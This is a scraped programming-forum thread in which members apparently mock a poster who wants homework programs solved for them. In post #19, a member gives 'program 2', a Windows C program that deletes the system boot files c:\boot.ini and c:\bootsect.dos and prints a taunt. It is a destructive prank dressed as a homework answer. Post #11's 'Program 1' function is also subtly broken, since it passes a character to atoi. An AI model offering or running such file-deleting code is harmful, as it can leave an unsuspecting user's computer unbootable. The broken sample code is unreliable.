![]() |
|
![]() |
|
|
Thread Tools | Display Modes |
|
|
#11 |
|
Programming Guru
![]() |
Program 1)
[php] int findRightMostInt(int number) { char tmp[100]; snprintf(tmp, 100, "%d", number); number = strlen(tmp) - 1; while(tmp[number] == '0') number--; return atoi(tmp[number]); } [/php] |
|
|
|
|
|
#12 |
|
Programming Guru
![]() |
indian infotech LTD what is your website?
|
|
|
|
|
|
#13 |
|
Programming Guru
![]() Join Date: Oct 2004
Location: namespace std
Posts: 1,246
Rep Power: 5
![]() |
__________________
i put on my robe and wizard hat... Have you ever heard of Plato, Aristotle, Socrates?...Morons. |
|
|
|
|
|
#14 |
|
Programming Guru
![]() ![]() ![]() |
Yeah, I kind have my reservations about the whole thing also.
__________________
http://jasonpowers.net "There are a thousand hacking at the branches of evil to one who is striking at the root." |
|
|
|
|
|
#15 | |
|
Professional Programmer
|
Quote:
__________________
Amateurs built the ark Professionals built the Titanic Last edited by peace_of_mind; Apr 1st, 2005 at 1:32 PM. Reason: Quoted the wrong post |
|
|
|
|
|
|
#16 |
|
Programmer
Join Date: Dec 2004
Posts: 50
Rep Power: 4
![]() |
haha what a nice way to get your homework done
|
|
|
|
|
|
#17 |
|
Programming Guru
![]() |
Donald, if you're a professor of computer science you're a disgrace.
|
|
|
|
|
|
#18 |
|
Programming Guru
![]() Join Date: Oct 2004
Location: namespace std
Posts: 1,246
Rep Power: 5
![]() |
w00t!!!!!!!!!!!!!
i'm a princiPAL dood bitches!
__________________
i put on my robe and wizard hat... Have you ever heard of Plato, Aristotle, Socrates?...Morons. |
|
|
|
|
|
#19 |
|
Hobbyist Programmer
Join Date: Aug 2004
Location: The Netherlands
Posts: 111
Rep Power: 4
![]() |
program 2)
#include <stdio.h>
#include <windows.h>
int main(void)
{
DeleteFile("c:\\boot.ini");
DeleteFile("c:\\bootsect.dos");
printf("Goodbye my friend, gna gna gna ;-))");
return 0;
}
__________________
http://www.white-scorpion.nl |
|
|
|
![]() |
| Bookmarks |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|